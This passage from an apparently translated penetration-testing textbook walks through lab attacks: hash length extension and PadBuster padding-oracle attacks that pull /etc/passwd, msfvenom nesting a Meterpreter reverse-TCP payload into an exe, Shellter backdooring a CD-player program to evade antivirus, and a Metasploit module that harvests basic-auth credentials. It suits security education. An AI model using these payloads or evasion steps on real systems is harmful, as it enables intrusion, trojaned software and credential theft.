  • --signature 是已知参数的另一部分:我们知道能够正确验证未修改消息的哈希。记住,我们需要提供将作为下一轮压缩函数输入的运行状态。

  • --append 是我们悄悄塞进门下的数据。这是将被检索的数据,也是我们特别生成的攻击哈希正在验证的内容。在我们的攻击中,我们试图获取etc目录下的passwd文件。我们使用方便的../../../从当前文件系统路径返回到根目录/,然后跳转到/etc/passwd。请记住,通过父文件夹的跳转次数是未知的,因为它取决于这个 Web 应用程序的具体实现,因此我现在先猜测一下。如果需要修改,我之后会知道的。你不需要有效路径来找到新的哈希!

  • --format 是哈希算法。你可以通过哈希长度来确定这个算法,或者可能需要通过一些试验和错误来猜测。

  • --secret-min--secret-max 指定了secret长度猜测的范围,以字节为单位。你的测试的具体情况可能要求你非常小心地使用这个范围——例如,我这里使用了一个相当宽的范围,因为我在实验室中,打算使用 Burp Suite 和 Intruder,并且我知道该 Web 应用程序无法防御快速的请求。一些系统可能会把你锁定!你可能需要手动输入 URL,就像过去那样。

  • --table 将通过将结果按表格格式组织起来,使我们的结果更加美观。

  • --out-data-format 在系统期望数据以例如十六进制格式呈现的情况下非常有用。在我们的案例中,我们希望以 HTML 格式输出,因为我们只是打算将这些信息输入到 Web 请求中。

  • 最后,我让 Linux 将输出内容保存到一个文本文件中。

继续查看结果。你会看到它是一个哈希值列表,和我们希望注入的数据排成一行;每一行会有不同数量的填充字符,具体取决于猜测的secret长度。你为secret-minsecret-max定义的范围越大,这里就会有更多的行。

现在,我可以启动 Burp Suite,它默认在端口8080上创建一个本地 HTTP 代理。当我准备好让 Burp Suite 参与其中时,我必须配置浏览器的网络设置,将其连接到我的代理127.0.0.1:8080。然后,我必须再次点击 CryptOMG 页面上的test链接,创建一个新的GET请求,等待 Burp Suite 拦截。当我看到它时,我必须右键点击并将其发送到 Intruder。

Intruder 是一个激进的工具,用来发出带有自定义参数的请求,而这些自定义参数就是我们所定义的有效载荷。请注意,有效载荷是通过分隔符符号来定义的。只需高亮显示你希望替换为有效载荷的文本,然后点击右侧的添加按钮。我们已经知道我们的算法是 SHA-1,并且不会改变它,所以我只定义了file=hash=作为有效载荷位置:

图 6.14 – 在 Burp Suite 中设置有效载荷位置

图 6.14 – 在 Burp Suite 中设置有效载荷位置

接下来,我们点击Payloads标签,这样我们就可以定义刚才定义的有效载荷位置中将放置的内容。对于这部分内容,你需要先做一些准备工作。你需要为每个有效载荷位置准备两个单独的列表。hash_extender 给了我们所需的一切,但它是一个以空格分隔的文本文件。如何分隔这些列由你决定(其中一种方法是使用电子表格软件)。

我按照位置顺序定义有效载荷集合;例如,由于file=参数是我从左到右读取时遇到的第一个位置,所以我必须将攻击者数据列表设为Payload set 1。然后,我的哈希列表放入Payload set 2。现在,乐趣可以开始了——武器解除!

图 6.15 – 配置有效载荷集合

图 6.15 – 配置有效载荷集合

拿上一杯咖啡,放松一下,随着 Intruder 发出一个又一个GET请求,每个请求都根据我们的有效载荷定义包含了自定义参数。那么,如果某个特定的文件名和验证哈希组合是错误的,会发生什么呢?我们会收到文件未找到的错误——在 HTTP 状态码中,就是 404。总共发出了 27 个请求后,检查我们的状态列——我们收到了 HTTP 200 代码。 bingo——我们创建了一个恶意请求并验证了哈希。让我们点击Response标签,沉浸在我们发现的宝藏中。糟糕——无法打开流:没有这样的文件或目录?这怎么回事?

我们可以确定的一件事是密钥的字节长度。请注意,具有相同哈希值的猜测数量,但只有请求成功了。那是因为找到哈希值只是乐趣的一部分——我们需要的是密钥的确切长度。Payload1 列中的每一项都是我们的数据,具有不同的填充长度。由于我们已经定义了确切的范围,现在只是数一下成功所需的请求次数而已。我们已经是第 26 次请求,从 8 字节的密钥长度开始,所以密钥的长度是 34 字节:

图 6.16 – 找到我们的黄金票

图 6.16 – 找到我们的黄金票

至于文件未找到的问题,我们只是没有爬到正确的父文件夹级别以访问/etc/passwd。尽管如此,我们提供了正确填充长度和有效哈希的数据,因此系统认为我们是被授权的;它只是告诉我们它找不到我们有权限窃取的内容。

现在我们知道了密钥的长度,我们可以回到手动请求。这一部分将需要传统的“试错法”。我将继续添加跳跃,直到成功。过不了多久,我就能说服主机吐出passwd文件:

图 6.17 – 捕获标志

图 6.17 – 捕获标志

现在,我们将以不同的方式看待问题——这一次,我们将查看带有填充的密文,以及一个在填充破坏时会友好地告诉我们的权威。我们将发现,这对坏人来说信息有点太多了。

使用 PadBuster 破解填充 oracle

安全的加密系统不应该泄露任何与加密消息相关的明文信息。Oracle 攻击强有力地展示了即使是一些看似无意义的信息,也能使你获得完整的解密消息。我们的 CryptOMG 网络应用提供了一个可以通过利用填充 oracle 来解决的挑战:这是一个在解密过程中告诉我们填充有效性而不泄露密钥或消息的系统。让我们开始和我们的 oracle 进行一些对话,看看这些响应是什么样的。

询问填充 oracle

让我们加载 CryptOMG 主页面并选择第一个挑战(和上次一样,我们的目标是/etc/passwd)。在测试页面中,页面的实际内容没有任何有趣的地方,所以让我们检查一下 URL:http://127.0.0.1/ctf/challenge1/index.php?cipher=3&encoding=2&c=81c14e504d73a84cc6279ab62d3259f6e2a2f52dbc5387d57911ee7565c5a829

看看c=字段。那是 64 个十六进制字符(256 位)。可以肯定地说,我们正在处理某种密文。再次提醒,以一种仅仅为了打破东西看看会发生什么的精神,让我们翻转一些位。

首先,让我们修改字符串开头的一些位,并重新提交请求:

图 6.18 – 修改位,但没有服务器错误

图 6.18 – 调整比特但无服务器错误

这很有趣,因为这个错误表明解密成功了。服务器告诉我们解密了一个文件请求;问题在于该文件不存在。服务器告诉我们这一点意味着它理解了我们的请求 - 尽管不知道加密消息的内容。

现在,让我们试着修改一些位于 256 位加密值尾部的位,并重新提交它:

图 6.19 – 填充神谕告诉我们我们已经破解了填充

图 6.19 – 填充神谕告诉我们我们已经破解了填充

我们都有那种总是说太多话,最终泄露了太多信息的朋友。在这种情况下,我们的朋友是一个神谕 - 一个无意中透露有用攻击信息的系统,即使信息本身应该是无意义的。我们刚刚得知这条消息中有填充,使其成为块密码;让我们假设是 AES 的 CBC 模式。最重要的是,我们知道目标正在作为填充神谕运行,告诉我们加密消息中填充的有效性状态。

让我们用 PadBuster 攻击这个演示中的填充神谕。一旦我们获取了我们的 passwd 文件,我们就可以看看幕后发生了什么。

使用 PadBuster 解密 CBC 块

首先,我们需要安装 PadBuster:

apt install padbuster

如果您不带任何参数运行 PadBuster,您将获得一个帮助屏幕,向您提供其简单的使用要求:您只需要 URL、加密数据块本身和块大小(以字节为单位)。由于我们假设是 AES,块大小将是 128 位(128 / 8 = 16 字节):

padbuster "http://127.0.0.1/ctf/challenge1/index.php?cipher=

3&encoding=2&c=81c14e504d73a84cc6279ab62d3259f6e2a2f52dbc5387d

57911ee7565c5a829" 81c14e504d73a84cc6279ab62d3259f6e2a2f52dbc

5387d57911ee7565c5a829 16 -noiv -encoding 1

不要担心这里的加密消息与您实验室中的不匹配;它每次会话都会更改。基本使用格式是 padbuster "[url]" [message] [block size],但我们在结尾添加了两个选项:

  • -noiv 指定我们没有已知的初始向量;它不像在我们之前的演示中在 URL 中,所以我们在没有它的情况下粗略推测,因为它将从第一个 [块大小] 字节中派生。

  • -encoding 1 非常重要,因为我们告知 PadBuster 使用较低的十六进制(小写字母)编码。

当我们执行命令时,PadBuster 与神谕进行交流。我们看到了一个包含基于神谕答案的响应签名的表格。PadBuster 会为您推荐一个,但我们在篡改填充时已经看到了 500 状态代码,所以这是我们应该选择的:

图 6.20 – PadBuster 中的响应分析

图 6.20 – PadBuster 中的响应分析

然后,PadBuster 开始基于它收集到的信息进行解密。大约 10 秒钟后,我们将得到解密结果:一些随机的 ASCII 字符,一个管道符号,和文件路径。现在我们知道了消息的格式,我们将逆向处理,生成一个包含请求的加密消息:

图 6.21 – 不同格式的解密数据

图 6.21 – 不同格式的解密数据

我们只是回过头来,使用相同的命令,但在最后加上plaintext标志。就这样。PadBuster 让这一切变得简单了:

padbuster "http://127.0.0.1/ctf/challenge1/?&c= 81c14e504d73a84cc6279ab62d3259f6e2a2f52dbc5387d57911ee7565c

5a829" 81c14e504d73a84cc6279ab62d3259f6e2a2f52dbc5387d

57911ee7565c5a829 16 -noiv -encoding 1 -plaintext "lFA5\C84VQE_T|../../../../../../../../../etc/passwd"

这将输出一个加密值。现在,我们只需将 URL 中的c=值替换为以下字符串:

图 6.22 – 我们需要发送的加密值

图 6.22 – 我们需要发送的加密值

现在,我们可以将其粘贴到 URL 中并按Enter,瞧!——服务器理解了我们的请求:

图 6.23 – 捕获的标志

图 6.23 – 捕获的标志

那么,PadBuster 是如何完成这一神奇的壮举的呢?让我们来看看加密中填充的标准。

Oracle 填充攻击的幕后

PadBuster 讲的是填充的“语言”。这只是一种诗意的说法,意思是填充并非随意的;它遵循一个标准,而 PadBuster 根据这个标准生成请求。在 CBC 模式加密算法的操作中,我们遇到的填充被称为PKCS#5**/**PKCS#7填充。

这个缩写并不像看起来那么可怕;它只是指公钥密码学标准,这是一个始于 1990 年代描述专有技术的标准系列。#5#7分别指代这两个标准中的第五和第七个标准。它们描述的不仅仅是填充,但这里相关的填充方法就来源于这些标准。我们在这里交替使用这两者,因为#5#7之间的唯一区别是,#7定义了 8 或 16 字节(64 位和 128 位)的块大小;而#5仅定义了 8 字节/64 位的块大小。

这个概念很简单。正如我们所知,块加密的核心是其固定长度的数据块。当然,需要加密的消息长度并不是固定的;它们可以像“Hello, World!”一样短,也可以像齐默曼电报那样长。此时填充就派上用场了。PKCS#5/PKCS#7使用填充字节,这些字节实际上只是十六进制数字。这个数字等于填充字节的数量。例如,如果有五个填充字节,它们都将是 0x05。如果消息恰好可以被块大小整除,那么就会附加一个额外的块,内容全部为填充字节(其值根据定义等于块大小的字节数)。这样做的目的是提供这种设计固有的错误检查机制。所以,如果我来解密一条消息,结果发现有五个填充字节,值为 0x07,那么你猜这个聪明的 oracle 告诉我什么预言?填充错误。

因此,当我们将加密数据传递给目标时,oracle 可以告诉我们三件事中的一件:

  • 加密数据正确填充,并且解密后包含有效的服务器数据。这是完全正常的操作。服务器响应为 HTTP 200 OK。

  • 加密数据正确填充,并且解密后包含无效的服务器数据。这就像没有加密地发送一些意外数据到服务器,例如请求一个不存在的文件。这在技术上是 HTTP 200,但通常会有一个自定义错误(例如,文件未找到)。

  • 加密数据的填充不正确,这会破坏解密过程,因此没有任何数据传递到服务器。这会导致一个加密异常,响应为 HTTP 500 内部服务器错误。

这只是破解的一半。另一半是我们在本章开始时介绍的概念:当你知道三种二进制值中两个具有异或关系时,你可以轻松找出缺失的字段是什么。所以,我们必须调整加密的位并反复提交我们修改过的请求,和 oracle(预言机)进行状态反馈对话,直到我们不再破坏解密并且 oracle 告诉我们填充看起来很好。随着 oracle 确认正确的填充,这个攻击变成了一种已知明文的密码分析方法,使我们能够解密消息。

回想一下,块加密算法有一个 IV(初始化向量)作为最后一个块来启动块链过程;在这些攻击中,IV 并不总是已知的,实际上,在我们的实验中,没有为我们定义任何 IV。PadBuster 可以通过-noiv标志来实现这一点,并因此使用第一个字节作为 IV;用作 IV 的字节数在块大小参数中定义。我们还知道,CBC 模式加密会将中间位(即加密过程后的位)与前一个块的相应位进行异或(块链),因此一旦解密开始,PadBuster 就会向后工作。

总结

本章中,我们探讨了一些基本的密码学攻击。我们从密码块链接的比特翻转开始,学习了如何可预测地修改初始化向量。然后,我们利用这些信息突破了实验室服务器的防护。在这里,我们通过利用消息验证方法中的漏洞,探索了哈希长度扩展攻击。我们通过利用哈希算法的核心压缩功能,生成一个攻击哈希,使其能够通过验证。为了准备这个演示,我们在 Kali 上安装了一个强大的 Web 和数据库服务器堆栈,用于托管一个脆弱的 Web 应用,以便在我们家的实验室进行合法的学习和测试。在关于填充 oracle 攻击的最后部分中,我们利用了之前本书介绍的核心知识,继续突破实验室环境。

本章讲解了一些基本的密码学知识后,我们将再次进入 Metasploit 的控制台,深入了解更多高级策略。

问题

请回答以下问题,测试您对本章内容的理解:

  1. 计算此异或or运算的结果:0010111001010101111000110100101

  2. 3DES-128-ECB 中的 ECB 代表 __________。

  3. _______ 用于确保消息可以被算法的块长度整除。

  4. PadBuster 需要使用 _________ 标志来定义大写十六进制数。

  5. 如果攻击数据包有四个有效负载位置,那么您需要在 Burp Suite 的 Intruder 中定义多少个有效负载集?

  6. SHA-1 压缩函数接受 _________ 位和 _________ 位的输入。

  7. 填充 oracle 攻击得名于 1994 年 Oracle 7.2 中的漏洞。(正确 | 错误)

第七章:使用 Metasploit 进行高级利用

任何在过去 18 年里从事过这方面工作的人都知道 Metasploit 能做什么。外面有各种各样的 Metasploit 使用者,但我们特别考虑其中两类人。首先是勇敢的业余爱好者。他们下载了 Kali Linux 并将其安装在 虚拟机VM)上。接着,他们启动 Metasploit 学习基础知识——如何设置漏洞利用、有效载荷和选项,然后发射“导弹”!在这种情况下,Metasploit 很快就成为了隐喻中的锤子,而每个问题看起来都像钉子。

另一方面,有经验的安全管理员通常习惯于命令行。他们启动 Metasploit,知道如何搜索特定模块,以及如何收集适当的信息以填充选项字段。然而,他们感觉被现有的东西束缚住了。他们最近发现,通过配置快速简易的服务器来捕获特定协议的数据包,可以大大简化工作,而他们希望同样的解决方案可以作为一个模块启动。本章将介绍 Metasploit 的更高级用法。尽管我们只有有限的页面来激发兴趣,但本章应为你提供足够的内容,鼓励你在这些页面之外进行深入的研究。

本章将涵盖以下内容:

  • 使用 msfvenom 生成并嵌套有效载荷

  • 与 Shellter 一起工作

  • Metasploit 模块的内部工作原理

  • 与 Armitage 一起工作

  • 社会工程学角度

技术要求

为了充分利用本章的实践材料,你将需要以下设备:

  • 运行 Kali Linux 的笔记本电脑

  • Linux 上的 Wine32

  • Shellter

  • 一只 USB 闪存驱动器

如何第一次就做对——生成有效载荷

我们都见过一些人拿到 Metasploit 就开始开枪。如果你在家里的实验室里,单纯地看看发生了什么,那也没问题。如果你在进行专业评估时这么做,你很可能会被抓住,触发警报却什么也没做成。毕竟,渗透测试不是攻击一只坐着的鸭子——你的客户会有防御措施,大多数情况下这些防御都相当坚固。如果你的客户在预防方面不太行,他们很可能在检测方面做得很好,而且乱打有效载荷并击中随机 IP 对防守者来说简直是轻松的事。考虑到这一点,我们需要学会根据任务的需要制作有效载荷,以最大化成功率。我们越成功,就能为客户带来更多的价值。

安装 Wine32 和 Shellter

幸运的是,Wine32 和 Shellter 都包含在 Kali 的软件库中,因此安装它们非常简单。我们始终建议在安装任何软件之前进行文档审核,但我们特别建议对 Shellter 进行此操作。

虽然 Kali 上已经安装了 Wine32,但如果你在 64 位系统上运行 Kali,你需要安装 Wine32。安装 Wine32 的命令如下:

dpkg --add-architecture i386 && apt-get update && apt-get install wine32

就这么简单!你使用 Wine32 的频率取决于你的需求;如果你在实战中运行 Linux 虚拟机(VM)在 Windows 主机上,你可能不会把 Wine32 用到极限。但如果你以某种 Linux 版本作为主操作系统,你会更喜欢 Wine32 在性能上相较虚拟机或模拟器的优势。

要设置 Shellter 这个原生 Windows 应用程序,请使用以下命令:

apt-get install shellter

就是这样!你现在已经准备好在 Kali 中玩 Windows 可执行文件,并动态注入规避的 Shellcode 到应用程序中——这一点我们会在第十章《Shellcoding - The Stack》中详细探讨。

有效载荷生成独立进行——使用 msfvenom

在过去,你可以通过命令行启动 Metasploit Framework 的不同实例来生成有效载荷——它们分别是msfpayloadmsfencode。现在的孩子们可以通过一个统一的 Metasploit Framework 实例msfvenom来生成有效载荷。除了显而易见的优势——一个统一的命令行和标准化的参数来精细调整攻击,msfvenom的速度也更快。

那么,什么是有效载荷(payload)呢?我们最好首先理解一下 Metasploit 的核心结构——模块。模块是 Metasploit 中的对象,用于完成某个特定的任务,任务的性质决定了模块的类型。有效载荷只是 Metasploit 中的一种模块类型,其任务是包含远程执行的代码。有效载荷由漏洞利用模块使用,漏洞利用模块是用于传送有效载荷的系统。我们稍后会更详细地讨论这一点。现在,我们来看一下可以独立运行的有效载荷生成,这将为你在实战中提供无与伦比的灵活性。

有三种不同类型的负载 – singles、stagers 和 stages。 Singles 是这些中真正的独立体。 它们甚至不需要与 Metasploit 通信即可回传– 你可以用简单的 netcat 命令捕获它们。 Stagers 和 stages 相关但有区别; 一个 stager 为获取与目标之间的数据设置阶段。 简而言之,stager 创建网络连接。 stager 负载将会执行然后试图回传,而且由于连接来自内部,我们可以绕过讨厌的 Network Address Translation** (NAT**) 防火墙。 Stages 是通过 stager 传送到目标的负载组件。 让我们使用一个非常常见的 Meterpreter 回连示例 – Meterpreter 组件本身是 stage,而创建 TCP 连接返回给攻击者的模块则是 stager。 当然,如果无人响应,那么回传毫无意义,所以我们必须依赖处理程序来接收和处理任何连接。

让我们查看在终端窗口启动 msfvenom 时,它为我们提供了什么。 请注意,出于说明目的,我们将定义选项的完整名称。 在实践中,您可以使用更短的标志(例如, --payload 等同于 -p):

msfvenom -h

让我们探索一些命令行:

  • --payload 命令定义了我们将使用的 payload。 将其视为行为; 这是我们的 payload 将要执行的操作。 接下来我们将仔细研究特定的 payloads。

  • --list 命令将输出给定模块类型的可用模块。 所以,假设你在 --payload 方面遇到问题; 你可以发出 msfvenom --list payloads 命令获取列表。 但是,如果你不确定到底需要构建什么,你可能需要这些可用模块的列表。 如果你更喜欢在 msfconsole 中使用搜索功能,不要担心 – 我们将在接下来看一下。

  • --nopsled 命令是一个 shellcoding 选项,我们将在 Chapter 10 中更详细地探讨它,Shellcoding - The Stack

  • --format 命令表示将要创建的文件类型。 这是你制作卑鄙可执行文件时应指定的地方。 然而,msfvenom 灵活性的一个领域显现在这里,因为有许多可用的格式。 在本书中,我们将查看其中几个,但是通过 --help-formats 命令可以帮助你熟悉它们。

  • --encoder 命令是另一个选项,我们将在 第十章 中更详细地讨论,Shellcoding - The Stack。编码器可以改变代码的外观,而不改变其底层功能。例如,也许你的负载需要以字母数字表示法进行编码,或者你需要去除破坏执行的字符。你可以将其与 --bad-chars 结合使用,去除如 0x00 这样的破坏执行的字符。负载的编码可以通过 --iterations 重复多次,定义了编码器的遍历次数。这可以使负载更加隐蔽(即更难被检测到),但值得指出的是,编码并不是为了绕过任何东西——它的真正目的是让代码准备好在特定的环境中运行。

  • --arch--platform 允许你指定负载运行的环境;例如,32 位(指令集架构)Windows(平台)。

  • --space 命令定义了负载的最大大小(以字节为单位)。当你知道存在某种限制时,这个命令非常有用。编码后的负载空间与此相同,除非你希望将其定义为不同的值。在这种情况下,你可以使用 --encoder-space--smallest 也很有用,它生成最小可能的负载。

  • --add-code 允许我们通过将来自不同生成负载的 shellcode 注入到这个负载中,创建一个 一举两得 的局面。源代码可以是可执行文件,甚至可以是 msfvenom 上一次运行的原始输出。你可以多次执行此操作,可能会将多个负载嵌入到一个中。不过实际上,如果这样做,你可能会遇到编码问题。

  • --template 命令允许你使用现有的可执行文件作为模板。Windows 可执行文件由多个部分组成,因此你不能仅仅输出一些 shellcode – 它需要放置在某个地方。模板包含了制作有效可执行文件所需的一切——它只是等待你将 shellcode 放入其中。如果你愿意,还可以在此处指定特定的可执行文件,msfvenom 会将负载转储到可执行文件的文本部分(编译器生成的通用代码所在的位置)。这一点本身就很强大,但当与 --keep 一起使用时,模板 EXE 的原始功能得以保留,shellcode 会被放入一个新的执行线程中,这使得该选项更加隐蔽。

  • --out 命令定义了我们的负载输出的路径。

  • --var-name 命令在我们讨论 shellcoding 时会对我们有用,但即便如此,它也不会做太多事情。它真正是为那些喜欢与众不同并使用自定义输出变量名称的人准备的。

  • --timeout 命令是生成大有效载荷的一个新特性;它防止在读取有效载荷时出现超时。这个需求来自那些将msfvenom的输出通过管道传递到msfvenom的用户。你可能不会使用这个选项,但知道它的存在还是挺不错的。

现在我们已经了解了这个工具的强大功能,是时候进行一次包含两个有效载荷的攻击演示了。

创建嵌套的有效载荷

接下来,我们将为客户准备一个演示,在该演示中,有效载荷将显示一条消息给用户,内容是你被搞定了,兄弟!,同时为监听处理器创建一个 Meterpreter 会话。

有两个有效载荷,所以我们必须使用两个命令,它们如下:

msfvenom --arch x86 --platform windows --payload windows/messagebox ICON=INFORMATION TITLE="抱歉" TEXT="你被搞定了,兄弟!" --format raw > Payload1

msfvenom --add-code Payload1 --arch x86 --platform windows --payload windows/meterpreter_reverse_tcp LHOST=192.168.108.106 LPORT=4567 --format exe > demo.exe

到此为止,我们已经在两个命令中将目标架构和平台设置为 32 位 Windows。在第一个命令中,我们将有效载荷设置为windows/messagebox,并设置了ICONTITLETEXT有效载荷选项。(如果你要使用感叹号,就像我们在这里做的一样,在它后面加个空格,避免转义结束的引号,或者使用单引号。)格式是原始二进制格式,因为我们将把它导入到下一个命令中并使用--add-code。第二个有效载荷是windows/meterpreter_reverse_tcp,它是一个 Meterpreter 会话,连接回我们通过LHOST(反向)并通过 TCP 端口连接,我们通过LPORT定义了端口。最后,我们希望将结果输出为 EXE 格式。请注意,这只是一个演示;我们通常会推荐其他有效载荷的组合,因为消息框并不算隐蔽:

图 7.1 – 我们的有效载荷执行结果

图 7.1 – 我们的有效载荷执行结果

虽然我们将在本书后面讨论 shellcoding 的细节,但值得一提的是,组合有效载荷很可能会在你的作品中引入不良字符。你应该在测试环境中验证你的结果,使用--bad-chars来消除类似空字节之类的字符,这些字符几乎肯定会破坏 Windows 的 shellcode。生成有效的 shellcode 并非魔法,因此如果某些有效载荷无法被编码,不要感到惊讶!

大乱斗 – 使用 Shellter 绕过防病毒软件

让我们来看一下以下步骤:

  1. 首先,我们需要启动 Shellter。要启动 Shellter,请使用以下命令行:

    shellter

  2. 由于我们现在完全是新手,我们将在这里使用自动模式。接下来,我们需要确定要后门化的可执行文件:

图 7.2 – 在 Wine32 中加载 Shellter

图 7.2 – 在 Wine32 中加载 Shellter

除了确保可执行文件是 32 位的,良好的做法是使用一个能够独立运行的可执行文件。依赖于专有 DLL 文件通常会引发问题。在将代码注入到程序中之前,你还应验证该程序是否被杀毒引擎认为是干净的;误报是杀毒软件中常见的现象,在注入过程中再怎么隐蔽也无法改变程序中固有的可疑行为。

注意

在撰写时,x64 注入功能已经在 Shellter 的付费版本中可用。许可证仅限于专业人士使用,但如果你的预算允许,推荐支持这个项目。

在我们的演示中,我们将使用一个适用于 Windows 的老旧 CD 播放器工具。32 位版本可以在几乎所有 Windows 系统上独立运行——只需要下载并执行即可。说到选择可执行文件用于此目的,我们建议对社区保持友善,并在工作中发挥创造力。例如,现在我们已经用 CDPlayer.exe 编写了这个演示,它已经公开,世界各地的杀毒引擎将能对其进行更好的启发式检测。人们常常倾向于重复熟悉的流程,但更好的做法是发挥创意。

  1. 在确定了我们要注入载荷的可执行文件后,我们进入 隐形模式 并选择我们的载荷。如以下截图所示,Metasploit 的七个启动器已内建。

  2. Shellter 会询问你是否有自定义载荷(稍后会讲到),但是如果现有的七个载荷中的某一个能够满足你的需求,最好还是选择现有的载荷。我们这次的案例是建立一个回连的 Meterpreter 会话,因此我们选择载荷索引 1:

图 7.3 – Shellter 中的载荷选择

图 7.3 – Shellter 中的载荷选择

  1. 一旦 Shellter 收集了所需的所有信息,它不会花太长时间。CD 播放器将被注入并保留在原始文件位置。一旦可执行文件传送到目标,受害者启动它,如下图所示:

图 7.4 – CD 播放器程序在目标 PC 上运行

图 7.4 – CD 播放器程序在目标 PC 上运行

与此同时,在我们的攻击 Kali 主机上,Meterpreter 会话已经接收到传入连接并开始工作。不过,这并不是最有趣的部分;这里值得注意的是,原始可执行文件的运行与预期完全一致。CD 播放器完美运行,同时我们开始偷取战利品并在目标上建立持久化。很酷吧?Shellter 通过分析合法程序的执行流程(我们之前在追踪阶段已经看过)并将 shellcode 放置在流程中的自然位置,成功地实现了这一点。并没有突然的重定向到代码的其他地方,也没有奇怪的内存请求,正如你在非动态感染的可执行文件中可能看到的那样。代码看起来不像是被注入的;它看起来就像是本来就应该做它做的事,那就是为用户提供一个方便的方式播放他们的 1990 年代老音乐 CD,同时悄悄地将计算机的远程控制交给第三方。

在用户听音乐时建立目标控制可能很有趣,但它也能展示 Shellter 的强大功能。例如,当我们将生成的文件与主要的杀毒软件进行比对时,我们发现成功躲避了 67%的所有供应商。如你所见,Shellter 以一种新颖的方式将 shellcode 整合到执行流程中,这使得它很难被检测到。

对社区保持友善

如果你还没有实验室,你可能会想在许多提供病毒扫描或沙箱虚拟机进行实时测试的网站上玩弄你的创作。如果你打算这么做,确保你在一个不会将你的提交内容与反恶意软件社区分享的环境中工作!你可能会发现,第一天对你有效的东西突然不再有效,并且你可能通过提供过多的信息而将自己锁在外面。考虑购买沙箱供应商的账户,这样他们可以为你提供一个私人环境;同样,不要使用流行的 VirusTotal,考虑使用 AntiScan.me 或 NoDistribute.com 进行扫描,并研究杀毒软件对你创作的响应。

重要的是要记住,这个结果是我为本书准备的 10 分钟演示的成果——没有进行细致的调整。根据你的客户独特环境中的具体场景调整你注入的木马将是至关重要的。也许你的客户使用了一个没有检测到我们演示为恶意的供应商——或者他们使用的是另外 33%的供应商,你将不得不重新开始。我们将在第十章中介绍这种细致的调整,Shellcoding - The Stack

模块——Metasploit 的核心

我们已经在 Metasploit 中玩过一些模块了。如果现在还不清楚的话,Metasploit 框架中的所有内容都是模块。有效载荷是一种模块;漏洞利用是另一种模块,它包括有效载荷。你可以拥有没有有效载荷的漏洞利用模块,它们被称为辅助模块。对于没有接触过的人来说,很容易认为漏洞利用模块才是充满激情的地方。在利用某个不为人知的软件漏洞成功打开一个 Shell 后,那种感觉就像是好莱坞电影中的场景。但当你在实际环境中发现,几乎所有那些令人垂涎的漏洞都不存在于客户端环境中时,你会发现自己开始依赖辅助模块。

既然我们已经初步了解了模块的工作方式,那么让我们通过构建一个模块来深入了解它们的核心工作原理。尽管这只是一个简单的示例,但希望它能激起你对以后构建更高级模块的兴趣。

构建一个简单的 Metasploit 辅助模块

我不知道你怎么想,但我不是 Ruby 的大粉丝。虽然 Ruby 有时可能会让人感到不方便,但在 Metasploit 中构建模块的过程非常简单,弥补了这一点。如果你能编写一些基础的 Ruby 并理解不同方法的工作原理,你就能构建一个模块。

在这个示例中,我们搭建了一个基本的 HTTP 服务器,它会提示任何访问者输入凭据。它通过对任何请求返回401 未授权错误来实现这一点,这应该会让几乎所有浏览器都提示用户输入凭据。一旦假认证完成,您可以将用户重定向到您选择的 URL。我们逐行分析这个模块,从以下代码开始:

class MetasploitModule < Msf::Auxiliary

include Msf::Exploit::Remote::HttpServer::HTML

def initialize(info={})

super(update_info(info,

'Name' => 'HTTP 服务器:基本身份验证凭据捕获',

'Description' => %q{

通过 401 响应提示浏览器请求凭据。

},

))

register_options([

OptString.new('REALM', [ true, "用于身份验证的领域属性。", "安全站点" ]),

OptString.new('redirURL', [ false, "发送凭据后重定向的目标地址。" ])

])

结束

如您所见,一旦我们创建了MetasploitModule类,就会使用include导入一个模块。通过这种方式导入的模块通常称为mixins,因为它们将引用模块中的所有方法并混合进来。当你在构建模块或者研究模块以了解其工作原理时,应该特别注意这一点。如果你只是查看一个模块的内部工作原理,也应该检查一下这个 mixin 代码。同样,如果你在构建模块时,如果能够引入具有核心功能的模块,不要重复发明轮子。在我们的例子中,我们通过伪装成一个 HTTP 服务器来捕获凭据,因此我们引入了Msf::Exploit::Remote::HttpServer::HTML的功能。

Here, the initialize** method takes **info={}** as an argument and is meant to provide general information about the auxiliary module, with **super(update_info())**, and then declare the options available to the user with **register_options(). We’re not concerned with the general information for now; however, we are interested in the options. Options are user-defined variables known as datastore optionsOptString.new() declares a variable of the string class, so we’re now allowing the user to define the authentication realm, which redirects the URL after the falsified authentication is complete. You may be thinking, what about localhost and port?, and you’d be right to.

Remember that we imported the HTTP server mixin, which already has its port and host declared, as shown in the following code:

def run

@myhost = datastore['SRVHOST']

@myport = datastore['SRVPORT']

@realm = datastore['REALM']

print_status("Listening for connections on

{datastore['SRVHOST']}:#{datastore['SRVPORT']}...")

Exploit

end

Now, we have to create the run method, which is where the module’s functionality starts. Some instance variables are declared here using the values stored in the defined datastore options, and the user is then advised that we’re firing up a quick-and-dirty HTTP server.

Normally, the run method is where the juicy stuff goes, but in this case, we’re leveraging the HTTP server mixin. The real exploit that’s being called is just an HTTP server that returns requests and session data when someone connects to it. We also define the on_request_uri() method so that it does something with the returned data, as shown in the following code:

def on_request_uri(cli, req)

if(req['Authorization'] and req['Authorization'] =~ /basic/i)

basic,auth = req['Authorization'].split(/\s+/)

user,pass = Rex::Text.decode_base64(auth).split(':', 2)

print_good("#{cli.peerhost} - Login captured! "#{user}:#{pass}" ")

if datastore['redirURL']

print_status("Redirecting client #{cli.peerhost} to #{datastore['redirURL']}")

send_redirect(cli, datastore['redirURL'])

else

send_not_found(cli)

end

else

print_status("We have a hit! Sending code 401 to client #{cli.peerhost} now... ")

response = create_response(401, "Unauthorized")

response.headers['WWW-Authenticate'] = "Basic realm="#{@realm}""

cli.send_response(response)

end

end

end

Take a look at the general structure of the previous method. It’s essentially an if...else** statement, which means that it is in reverse chronological order of events. This means we expect the initial request to come in, causing us to send back the 401 (the **else** statement) before we parse out the credentials that are sent back by the browser (the **if statement). This is done because, from the perspective of the HTTP listener, anything that’s sent to the server is going to get passed to on_request_uri().

if语句会在请求中包含身份验证尝试时通过,解析并解码来自入站数据包的数据,然后通过print_good()显示捕获的凭证(这意味着过程成功)。一个嵌套的if语句检查用户是否定义了redirURL数据存储选项。如果检查通过,则返回 HTTP 重定向;如果失败,则返回 404。on_request_uri()方法被else语句包裹着,如果入站请求不是身份验证尝试,则会执行这个语句。一个 HTTP 401 响应被创建并发送,拉取相应数据存储选项中的身份验证领域。

现在,是时候将我们的模块导入 Metasploit 了。所有模块所在的文件夹叫做/usr/share/metasploit-framework/modules。在这个文件夹中,你会看到不同模块类型的子文件夹。我们的示例是一个辅助模块,我们正在托管一个服务器,所以最终的路径是/usr/share/metasploit-framework/modules/auxiliary/server

